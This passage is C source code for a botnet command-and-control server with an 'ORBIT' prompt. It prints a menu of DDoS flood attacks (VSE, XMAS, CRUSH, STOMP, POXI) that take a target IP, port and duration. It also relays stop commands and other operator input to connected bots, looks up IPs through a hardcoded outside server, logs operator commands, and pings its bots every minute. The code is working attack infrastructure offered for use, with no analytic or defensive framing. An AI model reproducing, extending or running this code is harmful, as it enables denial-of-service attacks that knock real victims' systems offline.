            if(send(datafd, ls6, strlen(ls6), 0) == -1) goto end;
            sprintf(ls8, "\x1b[1;34m║ VSE Flood \x1b[34m- \x1b[0m. GAME  [IP] [PORT] [TIME] 32 1 1             \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, ls8, strlen(ls8), 0) == -1) goto end;
            sprintf(ls9, "\x1b[1;34m║ XMAS Flood \x1b[34m-\x1b[0m. XMAS  [IP] [PORT] [TIME] 32 1 1             \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, ls9, strlen(ls9), 0) == -1) goto end;
            sprintf(lsq, "\x1b[1;34m║ CRUSH Flood\x1b[34m-\x1b[0m. CRUSH [IP] [PORT] [TIME] 32 all 1 1         \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, lsq, strlen(lsq), 0) == -1) goto end; 
            sprintf(lsw, "\x1b[1;34m║ STOMP Flood\x1b[34m-\x1b[0m. STOMP [IP] [PORT] [TIME] 32 1 1             \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, lsw, strlen(lsw), 0) == -1) goto end;
            sprintf(lsd, "\x1b[1;34m║ POXI Flood \x1b[34m-\x1b[0m. POXI [IP] [PORT] [TIME] [PACKETSIZE]        \x1b[1;34m║\x1b[0m\r\n");
            if(send(datafd, lsd, strlen(lsd), 0) == -1) goto end;
            sprintf(lsb, "\x1b[1;34m╚═══════════════════════════════════════════════════════════╝\x1b[0m\r\n");
            if(send(datafd, lsb, strlen(lsb), 0) == -1) goto end;                             


				pthread_create(&title, NULL, &TitleWriter, sock);
		char input [5000];
        sprintf(input, "\e[0mORBIT????:");
		if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
				continue;
 		}
			if(strstr(buf, ". STOP") || strstr(buf, ". Stop") || strstr(buf, ". stop"))
			{
				char killattack [2048];
				memset(killattack, 0, 2048);
				char killattack_msg [2048];
				
				sprintf(killattack, "\e[0m Stopping Attacks...\r\n");
				broadcast(killattack, datafd, "output.");
				if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
				while(1) {
		char input [5000];
        sprintf(input, "\e[0mORBIT????:");
		if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
				break;
				}
				continue;
			}
        else if(strstr(buf, "iplookup ") || strstr(buf, "IPLOOKUP "))
        {
            char myhost[20];
            char ki11[1024];
            snprintf(ki11, sizeof(ki11), "%s", buf);
            trim(ki11);
            char *token = strtok(ki11, " ");
            snprintf(myhost, sizeof(myhost), "%s", token+strlen(token)+1);
            if(atoi(myhost) >= 8)
            {
                int ret;
                int IPLSock = -1;
                char iplbuffer[1024];
                int conn_port = 80;
                char iplheaders[1024];
                struct timeval timeout;
                struct sockaddr_in sock;
                char *iplookup_host = "23.254.247.81"; // Change to Server IP
                timeout.tv_sec = 4; // 4 second timeout
                timeout.tv_usec = 0;
                IPLSock = socket(AF_INET, SOCK_STREAM, 0);
                sock.sin_family = AF_INET;
                sock.sin_port = htons(conn_port);
                sock.sin_addr.s_addr = inet_addr(iplookup_host);
                if(connect(IPLSock, (struct sockaddr *)&sock, sizeof(sock)) == -1)
                {
                    //printf("[\x1b[31m-\x1b[37m] Failed to connect to iplookup host server...\n");
                    sprintf(botnet, "\x1b[31;1m[IPLookup] Failed to connect to iplookup server...\x1b[31;1m\r\n", myhost);
                    if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
                }
                else
                {
                    //printf("[\x1b[32m+\x1b[37m] Connected to iplookup server :)\n");
                    snprintf(iplheaders, sizeof(iplheaders), "GET /iplookup.php?host=%s HTTP/1.1\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Encoding:gzip, deflate, sdch\r\nAccept-Language:en-US,en;q=0.8\r\nCache-Control:max-age=0\r\nConnection:keep-alive\r\nHost:%s\r\nUpgrade-Insecure-Requests:1\r\nUser-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\r\n\r\n", myhost, iplookup_host);
                    if(send(IPLSock, iplheaders, strlen(iplheaders), 0))
                    {
                        //printf("[\x1b[32m+\x1b[37m] Sent request headers to iplookup api!\n");
                        sprintf(botnet, "\x1b[31;1m[\x1b[31;1mLinux\x1b[31;1m] \x1b[31;1mSearching For Database -> %s...\r\n", myhost);
                        if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
                        char ch;
                        int retrv = 0;
                        uint32_t header_parser = 0;
                        while (header_parser != 0x0D0A0D0A)
                        {
                            if ((retrv = read(IPLSock, &ch, 1)) != 1)
                                break;
                
                            header_parser = (header_parser << 8) | ch;
                        }
                        memset(iplbuffer, 0, sizeof(iplbuffer));
                        while(ret = read(IPLSock, iplbuffer, 1024))
                        {
                            iplbuffer[ret] = '\0';
                            /*if(strlen(iplbuffer) > 1)
                                printf("\x1b[36m%s\x1b[37m\n", buffer);*/
                        }
                        //printf("%s\n", iplbuffer);
                        if(strstr(iplbuffer, "<title>404"))
                        {
                            char iplookup_host_token[20];
                            sprintf(iplookup_host_token, "%s", iplookup_host);
                            int ip_prefix = atoi(strtok(iplookup_host_token, "."));
                            sprintf(botnet, "\x1b[31m[IPLookup] Failed, API can't be located on server %d.*.*.*:80\x1b[0m\r\n", ip_prefix);
                            memset(iplookup_host_token, 0, sizeof(iplookup_host_token));
                        }
                        else if(strstr(iplbuffer, "nickers"))
                            sprintf(botnet, "\x1b[31m[IPLookup] Failed, Hosting server needs to have php installed for api to work...\x1b[0m\r\n");
                        else sprintf(botnet, "\x1b[1;31m[+]--- \x1b[0mResults\x1b[1;31m ---[+]\r\n\x1b[0m%s\x1b[31m\r\n", iplbuffer);
                        if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
                    }
                    else
                    {
                        //printf("[\x1b[31m-\x1b[37m] Failed to send request headers...\n");
                        sprintf(botnet, "\x1b[31m[IPLookup] Failed to send request headers...\r\n");
                        if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
                    }
                }
                close(IPLSock);
            }
        }


			if(strstr(buf, "CLEAR") || strstr(buf, "clear") || strstr(buf, "Clear") || strstr(buf, "cls") || strstr(buf, "CLS") || strstr(buf, "Cls")) {
				char clearscreen [2048];
				memset(clearscreen, 0, 2048);
				sprintf(clearscreen, "\033[2J\033[1;1H");
				if(send(datafd, clearscreen,   		strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line0, strlen(ascii_banner_line0), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;

				while(1) {
		char input [5000];
        sprintf(input, "\e[0mORBIT????:");
		if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
				break;
				}
				continue;
			}
			if(strstr(buf, "logout") || strstr(buf, "LOGOUT") || strstr(buf, "Logout") || strstr(buf, "ext") || strstr(buf, "EXIT") || strstr(buf, "exit")) {
				char logoutmessage [2048];
				memset(logoutmessage, 0, 2048);
				sprintf(logoutmessage, "\e[0m Logging out...", accounts[find_line].username);
				if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
				sleep(2);
				goto end;
			}

            trim(buf);
		char input [5000];
        sprintf(input, "\e[0mORBIT????:");
		if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
            if(strlen(buf) == 0) continue;
            printf("%s: \"%s\"\n",accounts[find_line].username, buf);

			FILE *LogFile;
            LogFile = fopen("server_history.log", "a");
			time_t now;
			struct tm *gmt;
			char formatted_gmt [50];
			char lcltime[50];
			now = time(NULL);
			gmt = gmtime(&now);
			strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
            fprintf(LogFile, "[%s]: %s\n", formatted_gmt, buf);
            fclose(LogFile);
            broadcast(buf, datafd, accounts[find_line].username);
            memset(buf, 0, 2048);
        }

		end:
		managements[datafd].connected = 0;
		close(datafd);
		OperatorsConnected--;
}
/*STARCODE*/
void *BotListener(int port) {
	int sockfd, newsockfd;
	socklen_t clilen;
    struct sockaddr_in serv_addr, cli_addr;
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) perror("ERROR opening socket");
    bzero((char *) &serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(port);
    if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
    listen(sockfd,5);
    clilen = sizeof(cli_addr);
    while(1) {
		newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
        if (newsockfd < 0) perror("ERROR on accept");
        pthread_t thread;
        pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
}}
int main (int argc, char *argv[], void *sock) {
        signal(SIGPIPE, SIG_IGN);
        int s, threads, port;
        struct epoll_event event;
        if (argc != 4) {
			fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
			exit (EXIT_FAILURE);
        }

		port = atoi(argv[3]);
		
        threads = atoi(argv[2]);
        listenFD = create_and_bind (argv[1]);
        if (listenFD == -1) abort ();
        s = make_socket_non_blocking (listenFD);
        if (s == -1) abort ();
        s = listen (listenFD, SOMAXCONN);
        if (s == -1) {
			perror ("listen");
			abort ();
        }
        epollFD = epoll_create1 (0);
        if (epollFD == -1) {
			perror ("epoll_create");
			abort ();
        }
        event.data.fd = listenFD;
        event.events = EPOLLIN | EPOLLET;
        s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
        if (s == -1) {
			perror ("epoll_ctl");
			abort ();
        }
        pthread_t thread[threads + 2];
        while(threads--) {
			pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
        }
        pthread_create(&thread[0], NULL, &BotListener, port);
        while(1) {
			broadcast("PING", -1, "ZERO");
			sleep(60);
        }
        close (listenFD);
        return EXIT_SUCCESS;
}